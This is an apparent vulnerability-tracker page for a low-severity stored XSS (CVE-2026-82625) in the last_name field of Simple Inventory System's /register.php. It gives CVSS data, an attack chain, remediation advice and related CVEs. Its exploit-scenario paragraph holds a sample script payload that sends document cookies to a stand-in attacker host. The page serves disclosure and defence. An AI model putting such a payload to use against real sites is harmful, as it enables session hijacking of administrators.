Skip to main content

Simple Inventory System CVE-2026-82625

| EUVDEUVD-2026-68375 LOW
Cross-site Scripting (XSS) (CWE-79)
2026-08-31 VulDB GHSA-rmwg-mxr8-f67v
2.1
CVSS 4.0 · Vendor: VulDB
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Access /register.php unauthenticated
  2. Delivery
    Inject JavaScript payload into last_name field
  3. Exploit
    Payload persisted to database
  4. Execution
    Admin views registered user list
  5. Persist
    Stored XSS executes in admin browser
  6. Impact
    Session cookie exfiltrated to attacker

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The /register.php registration endpoint must be network-accessible to the attacker - no authentication is required to submit the registration form (confirmed by PR:N in the CVSS 4.0 vector). Successful payload delivery requires a victim user (most likely an administrator) to load the page displaying stored registration records (UI:P in the CVSS 4.0 vector). Exploitation is therefore a two-stage process: injection at registration time followed by deferred execution when a privileged user views the data. Limiting factors include: the application must be deployed and externally reachable; an administrator must actively review the user list after injection; and deployment of a WAF with XSS rulesets or a restrictive CSP header would block or significantly degrade the attack.

Impact

The CVSS 4.0 score of 2.1 accurately reflects low aggregate risk. The vector AV:N/AC:L/AT:N/PR:N/UI:P indicates the attack is network-reachable with no complexity or privilege requirements, but mandates passive user interaction - a victim must view the page containing the injected payload. Impact is bounded to low integrity (VI:L) with no confidentiality or availability effect on the vulnerable system per the CVSS 4.0 metrics. No EPSS score was provided, so exploitation probability cannot be quantitatively assessed; however, the product's niche hobbyist/educational footprint substantially limits realistic exposure. The publicly available PoC on GitHub modestly increases opportunistic risk, though the absence of a KEV listing confirms no known active exploitation at time of analysis. No conflicts exist between the CVSS vector and description - both consistently indicate stored XSS requiring a victim to trigger the payload.

Exploit ScenarioDerived

An unauthenticated attacker navigates to the publicly accessible /register.php page and submits a registration form with a JavaScript payload such as <script>fetch('https://attacker.example/c?'+document.cookie)</script> in the last_name field. The payload is stored in the database and rendered without encoding when an administrator reviews the registered user list, executing the script in the admin's browser and exfiltrating session cookies. A public proof-of-concept on GitHub documents this exact technique against the last_name parameter.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
No patch listed yet 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAI

Stored cross-site scripting in code-projects Simple Inventory System 1.0 allows remote unauthenticated attackers to inject persistent JavaScript via the last_name parameter of /register.php during user registration. When an administrator or privileged user subsequently views the registered user list, the stored payload executes in their browser context, enabling session hijacking or credential theft. A public proof-of-concept is available on GitHub; the vulnerability is not listed in CISA KEV and carries a CVSS 4.0 score of 2.1 reflecting limited real-world scope.

RemediationAI

No vendor-released patch has been identified at time of analysis. As primary compensating controls, administrators should apply server-side output encoding to all user-supplied fields rendered in the administrative interface - specifically wrapping last_name output in PHP's htmlspecialchars() with ENT_QUOTES - which eliminates the injection surface without functional trade-offs. Implementing a Content Security Policy (CSP) header restricting script sources to 'self' further limits the blast radius of any injected payload. Restricting the /register.php endpoint to trusted IP ranges or requiring administrator approval before displaying new registrations to staff reduces the window of exposure between injection and victim rendering. Monitor https://vuldb.com/vuln/397125 for vendor patch availability.

Affected VersionsENISA

Simple Inventory System 1.0

Affected Packages

euvd simple_inventory_system no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Simple Inventory System 1.0 is a PHP-based inventory management web application developed by code-projects (CPE: cpe:2.3:a:code-projects:simple_inventory_system:*:*:*:*:*:*:*:*). The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation - Cross-Site Scripting). The /register.php endpoint accepts and stores user-supplied registration data without applying server-side sanitization or HTML encoding to the last_name field before persisting it to the database and subsequently rendering it in the administrative interface. This allows arbitrary JavaScript to survive round-trip storage and execute in any browser that renders the affected page.

Know when Simple Inventory System gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulDB) PRIMARY 2.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
vuln.today AI 6.1 MEDIUM

No auth to register (PR:N), victim interaction required (UI:R), scope changes to admin browser (S:C) with low C/I for cookie/content exposure.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:L/SI:N/SA:N

Primary rating from Vendor (VulDB).

CVSS VectorVendor: VulDB

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

3
CVE Published
Aug 31, 2026 - 10:50 cve.org
LOW 2.1
Severity Changed
Aug 31, 2026 - 07:22 NVD
MEDIUM LOW
CVSS changed
Aug 31, 2026 - 07:22 NVD
5.3 (MEDIUM) 2.1 (LOW)

DescriptionCVE.org

A vulnerability has been found in code-projects Simple Inventory System 1.0. This affects an unknown part of the file /register.php of the component User Registration. Such manipulation of the argument last_name leads to cross site scripting. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.

Threat Intelligence Overview

EPSS Score
0.3%
Top 81% exploitable
Prevalence
Rare
educational/hobbyist PHP project, minimal production deployment
Exploit
POC
Public exploit code exists
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC Yes
EPSS 0.3%
Patch available No
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Low
Technical Impact
Partial

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +10
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2022-31340 CRITICAL POC
9.8 Jun 02

Simple Inventory System v1.0 is vulnerable to SQL Injection via /inventory/table_edit_ajax.php. Rated critical severity

CVE-2022-31339 HIGH POC
7.2 Jun 02

Simple Inventory System v1.0 is vulnerable to SQL Injection via /inventory/login.php. Rated high severity (CVSS 7.2), th

CVE-2024-5097 MEDIUM POC
6.9 May 19

A vulnerability, which was classified as problematic, was found in SourceCodester Simple Inventory System 1.0. Rated med

CVE-2026-82624 MEDIUM POC
5.5 Aug 31

Direct remote access to an unprotected SQL database backup file in code-projects Simple Inventory System 1.0 allows unau

CVE-2026-76990 MEDIUM POC
5.5 Aug 20

SQL injection in code-projects Simple Inventory System 1.0 allows remote unauthenticated attackers to manipulate backend

CVE-2025-13280 MEDIUM POC
5.5 Nov 17

A vulnerability was determined in CodeAstro Simple Inventory System 1.0. Rated medium severity (CVSS 6.9), this vulnerab

CVE-2024-5101 MEDIUM POC
5.3 May 19

A vulnerability was found in SourceCodester Simple Inventory System 1.0. Rated medium severity (CVSS 5.3), this vulnerab

CVE-2024-5100 MEDIUM POC
5.3 May 19

A vulnerability was found in SourceCodester Simple Inventory System 1.0. Rated medium severity (CVSS 5.3), this vulnerab

CVE-2024-5099 MEDIUM POC
5.3 May 19

A vulnerability was found in SourceCodester Simple Inventory System 1.0 and classified as critical. Rated medium severit

CVE-2024-5098 MEDIUM POC
5.1 May 19

A vulnerability has been found in SourceCodester Simple Inventory System 1.0 and classified as critical. Rated medium se

CVE-2025-11611 LOW POC
2.1 Oct 11

SQL injection in SourceCodester Simple Inventory System 1.0 via the uemail parameter in /user.php allows authenticated r

CVE-2025-11610 LOW POC
2.1 Oct 11

SQL injection in SourceCodester Simple Inventory System 1.0 via the editBrandName parameter in /brand.php allows authent

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy